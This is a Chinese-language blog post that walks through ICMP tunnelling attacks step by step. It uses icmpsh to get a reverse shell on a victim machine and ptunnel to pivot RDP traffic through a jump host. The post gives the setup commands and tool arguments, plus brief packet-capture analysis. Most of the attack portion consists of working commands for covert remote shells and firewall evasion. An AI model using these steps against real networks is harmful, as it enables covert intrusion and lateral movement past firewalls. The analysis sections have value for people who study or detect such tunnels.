ICMP隧道攻擊
VSole2022-04-27 21:50:29
ICMP隧道攻擊
ICMP隧道模式簡介
ICMP一般用于檢測網絡的可通性,
所以一般在防火墻設備上都不會用策略去禁止它(ping),這也就使得了有很大的可能性去使用ICMP隧道進行相應的攻擊,達到一種偽裝.
而能達到這種攻擊的原因是在CMP報文結構中,有數據部分是可控的,所以可以利用可控數據部分去構造相應的攻擊語句.
1.icmpsh使用
下載地址:GitHub - k1132/icmpsh: Simple reverse ICMP shell[1]
py使用前需安裝Impacket依賴庫
git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketsudo python setup.py instal

開啟前需要先關閉攻擊機的icmp應答,防止內核對自己的ping包響應
sysctl -w net.ipv4.icmp_echo_ignore_all
不關閉就會導致不穩定
①將exe執行文件上傳到受害機 ,并執行
執行代碼如下:
icmpsh.exe -t 攻擊機IP地址

②攻擊機進行監聽
python2 icmpsh_m.py 攻擊者IP 受害者IP

③抓包分析
通過抓取該網卡可以觀察到都是ICMP報文的數據包

在反彈的shell執行whoami并在數據包中查看數據信息


最后, 通過報文分析可以知道ICMP隧道是將執行的代碼封裝在了ICMP報文中的數據中
2.ptunnel 使用
下載地址:https://github.com/f1vefour/ptunnel 需自行編譯
ptunnel參數含義:-p ##表示連接 icmp 隧道另一端的機器 IP(即目標服務器) -lp ##表示需要監聽的本地 tcp 端口 -da ##指定需要轉發的機器的 IP(即目標內網某一機器的內網 IP) -dp ##指定需要轉發的機器的端口(即目標內網某一機器的內網端口) -x ##設置連接的密碼
進入解壓后文件輸入如下即可:
make install

開啟前需要先關閉攻擊機的icmp應答,防止內核對自己的ping包響應
sysctl -w net.ipv4.icmp_echo_ignore_all=1
環境模擬:

①將編譯好的ptunnel上傳到跳板機

并賦予可執行權限
②設置連接密碼
./ptunnel -x mrfan

③攻擊機將轉發的 3389請求數據給本地 6666
./ptunnel -p 192.168.1.14 -lp 6666 -da 192.168.22.14 -dp 3389 -x mrfan -p ##表示連接 icmp 隧道另一端的機器 IP(即目標服務器) -lp ##表示需要監聽的本地 tcp 端口 -da ##指定需要轉發的機器的 IP(即目標內網某一機器的內網 IP) -dp ##指定需要轉發的機器的端口(即目標內網某一機器的內網端口) -x ##連接的密碼

③利用連接好的跳板機去連接受害機
rdesktop 127.0.0.1:6666

④抓包分析
通過在192.168.1.0/24網卡上進行抓包

可以抓到許多ICMP的數據包, 并是由192.168.1.11(攻擊機)與192.168.1.14(跳板機)的請求應答包, 所以這也是通過ICMP的數據部分進行了相應的偽裝所造成的攻擊
References
[1] GitHub - k1132/icmpsh: Simple reverse ICMP shell: https://github.com/k1132/icmpsh
VSole
網絡安全專家